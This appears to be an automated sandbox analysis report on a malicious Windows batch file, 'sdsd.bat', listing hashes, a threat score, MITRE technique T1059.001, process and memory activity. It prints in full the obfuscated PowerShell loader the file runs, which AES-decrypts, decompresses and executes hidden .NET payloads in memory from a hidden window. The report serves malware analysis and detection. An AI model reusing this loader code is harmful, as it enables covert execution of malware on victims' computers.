c1836c0d56c8ec60cee58783c67c900f170d854e60f856c1a5b9e001894c8e1a

Analysis

max time kernel
21s
max time network
19s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
12-06-2024 22:23

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General

Target

sdsd.bat
Size

399KB
MD5

dedc70c320233bc67ceb02a9492f29d6
SHA1

d031a05a302501a50581a2338762013f60da62df
SHA256

c1836c0d56c8ec60cee58783c67c900f170d854e60f856c1a5b9e001894c8e1a
SHA512

776e753db2a34143981814c44fb0e8bdfa78b38d186ce9e794cd927f28408397460f302d63d731f4c6794cd745164211370b9db7b47b4884d01c5f76f066f93e
SSDEEP

6144:QpmLNVyxXtQ5MtZl5HaSAcfGoPTT5rYwZVYVwmmkcPW0oLCol6w1w/apK0/X0DC:Qga9t8Mt/HA4T9be9mfu0oZ6ziD/EG

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1748	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1748	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1748	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2208 wrote to memory of 2228	2208	cmd.exe	29
PID 2208 wrote to memory of 2228	2208	cmd.exe	29
PID 2208 wrote to memory of 2228	2208	cmd.exe	29
PID 2208 wrote to memory of 1748	2208	cmd.exe	30
PID 2208 wrote to memory of 1748	2208	cmd.exe	30
PID 2208 wrote to memory of 1748	2208	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\sdsd.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uE03OF756EwHDsXZZ4dW1daMDjFkoEm1g+uRel3+taQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OQwUXKYXuHYJURyKYIwNjA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $okmXp=New-Object System.IO.MemoryStream(,$param_var); $xIYUl=New-Object System.IO.MemoryStream; $muRJA=New-Object System.IO.Compression.GZipStream($okmXp, [IO.Compression.CompressionMode]::Decompress); $muRJA.CopyTo($xIYUl); $muRJA.Dispose(); $okmXp.Dispose(); $xIYUl.Dispose(); $xIYUl.ToArray();}function execute_function($param_var,$param2_var){ $BISrT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DWUga=$BISrT.EntryPoint; $DWUga.Invoke($null, $param2_var);}$kcqDb = 'C:\Users\Admin\AppData\Local\Temp\sdsd.bat';$host.UI.RawUI.WindowTitle = $kcqDb;$qjwUw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kcqDb).Split([Environment]::NewLine);foreach ($BKyFZ in $qjwUw) { if ($BKyFZ.StartsWith('mfixKLpOscLidzGbRQVv')) { $QJzdJ=$BKyFZ.Substring(20); break; }}$payloads_var=[string[]]$QJzdJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1748-4-0x000007FEF62DE000-0x000007FEF62DF000-memory.dmp

Filesize
4KB

Download
memory/1748-6-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/1748-7-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download
memory/1748-5-0x000000001B2A0000-0x000000001B582000-memory.dmp

Filesize
2.9MB

Download
memory/1748-8-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/1748-9-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/1748-10-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/1748-11-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/1748-12-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/1748-13-0x000007FEF62DE000-0x000007FEF62DF000-memory.dmp

Filesize
4KB

Download